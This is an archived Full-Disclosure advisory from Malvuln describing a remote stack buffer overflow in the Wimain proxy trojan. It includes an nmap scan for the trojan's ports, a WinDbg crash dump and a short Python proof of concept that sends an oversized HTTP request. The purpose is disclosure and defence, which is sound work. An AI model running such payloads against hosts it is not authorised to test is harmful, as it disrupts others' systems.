lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAAHK0WSEY+m4u9QukcTW9zFVyWm4OmAJGQ-m1kzXN6y4ioQk9w@mail.gmail.com>
Date: Sun, 14 Mar 2021 21:43:22 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Proxy.Win32.Wimain / Remote Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/8936c97e99799809812fa740076a2d7f.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Wimain
Vulnerability: Remote Stack Buffer Overflow
Description: Win32.Wimain trojan listens on two random TCP ports only one
of the two ports seems vuln. Sending a specially crafted HTTP request will
trigger classic stack buffer overflow overwriting ECX, EBP and EIP
registers. The challenge is the malware changes it port on each restart.
However, after repeated sampling of the ports opened there seems to be a
specific range the ports fall within. Also, another giveaway is there
should be two of them listening in that range. This can help us to somewhat
fingerprint the backdoor presence, we can then scan that port range to try
an locate. Wimains port range seem to typically fall within 1000 - 4999
range. If we know our network and or have a good baseline, we can leverage
Nmap to probe for the suspect ports. Afterwards, we can then issue
specially crafted payload to crash or exploit the buffer overflow
vulnerability.

C:\>nmap -n -Pn -sS -p999-4999 -T4 192.168.1.10 -open

Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-14 15:46 Pacific
Daylight Time
Nmap scan report for 192.168.1.10
Host is up (0.00s latency).
Not shown: 3999 closed ports
PORT     STATE SERVICE
1258/tcp open  opennl
3179/tcp open  h2gf-w-2m


Sampling of some TCP ports used by the Wimain malware:

1433
3700
4192
1257
4363
4850
3178
2668
2571
3910
2028
2113
4897
1923
1986
1761
4423
2125
2074
2332
4216
2125
2074
2300
3495
2001
3221
4453
2990
1312
1876
1312
2278
1839
1878
4423
1750
2770
2809
2888
2848
1129
3013
4897
3083
3524
2714
3645
4999
2300
4184
1718
3724
3656
4570
4729
3448
4768
3034
1150
1703
3380
1143
4349
2258
1260
3935
4696
2397
1574
1613
3159
4184
1718
3724
3656
4570
4729
3448
4768
3034
1150
1703
3380
1143
4349
2258
1260
3935
4696
2397
1574
1613
3159
1029
2126
1767
1378
1456
4488
1068
2165
1447
4886
1727
2243
2207
4091
3884
1793
2479

Type: PE32
MD5: 8936c97e99799809812fa740076a2d7f
Vuln ID: MVID-2021-0131
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/14/2021

Memory Dump:
(b08.1118): Stack buffer overflow - code c0000409 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414141 edx=00000001 esi=00000000
edi=00000002
eip=7710ed3c esp=0019f400 ebp=0019f440 iopl=0         nv up ei pl nz ac pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000216
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400          ret     14h
0:000> .ecxr

eax=00000001 ebx=00000000 ecx=41414141 edx=00000001 esi=00a3044c
edi=03144c15
eip=41414141 esp=0019fab4 ebp=41414141 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe
*** ERROR: Module load completed but symbols could not be loaded for
Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe

FAULTING_IP:
+24
41414141 ??              ???

EXCEPTION_RECORD:  0019f604 -- (.exr 0x19f604)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000008
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:
 Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a
stack-based buffer in this application. This overrun could potentially
allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a
stack-based buffer in this application. This overrun could potentially
allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1:  00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAILED_INSTRUCTION_ADDRESS:
+24
41414141 ??              ???

CONTEXT:  0019f654 -- (.cxr 0x19f654)
eax=00000001 ebx=00000000 ecx=41414141 edx=00000001 esi=00a3044c
edi=03144c15
eip=41414141 esp=0019fab4 ebp=41414141 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???
Resetting default scope

READ_ADDRESS:  41414141

FOLLOWUP_IP:
+24
41414141 ??              ???

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:
 STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141

STACK_TEXT:
00000000 00000000 unknown!printable+0x0


SYMBOL_NAME:  unknown!printable

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: unknown

IMAGE_NAME:  unknown

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  ** Pseudo Context ** ; kb

FAILURE_BUCKET_ID:
 STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_unknown!Unloaded

BUCKET_ID:
 APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_BAD_IP_unknown!printable


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
#Use Nmap to locate port, there should be two TCP ports opened within the
1000-4999 range.
PORT= [RANGE-1000-4999]

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="GET /" + "A"*1432 + "HTTP/1.1\r\nHost: "+ "A"*1562

    s.send(PAYLOAD)
    s.close()

    print("Trojan-Proxy.Win32.Wimain / Remote Stack Buffer Overflow")
    print("MD5: 8936c97e99799809812fa740076a2d7f")
    print("BY Malvuln")


if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ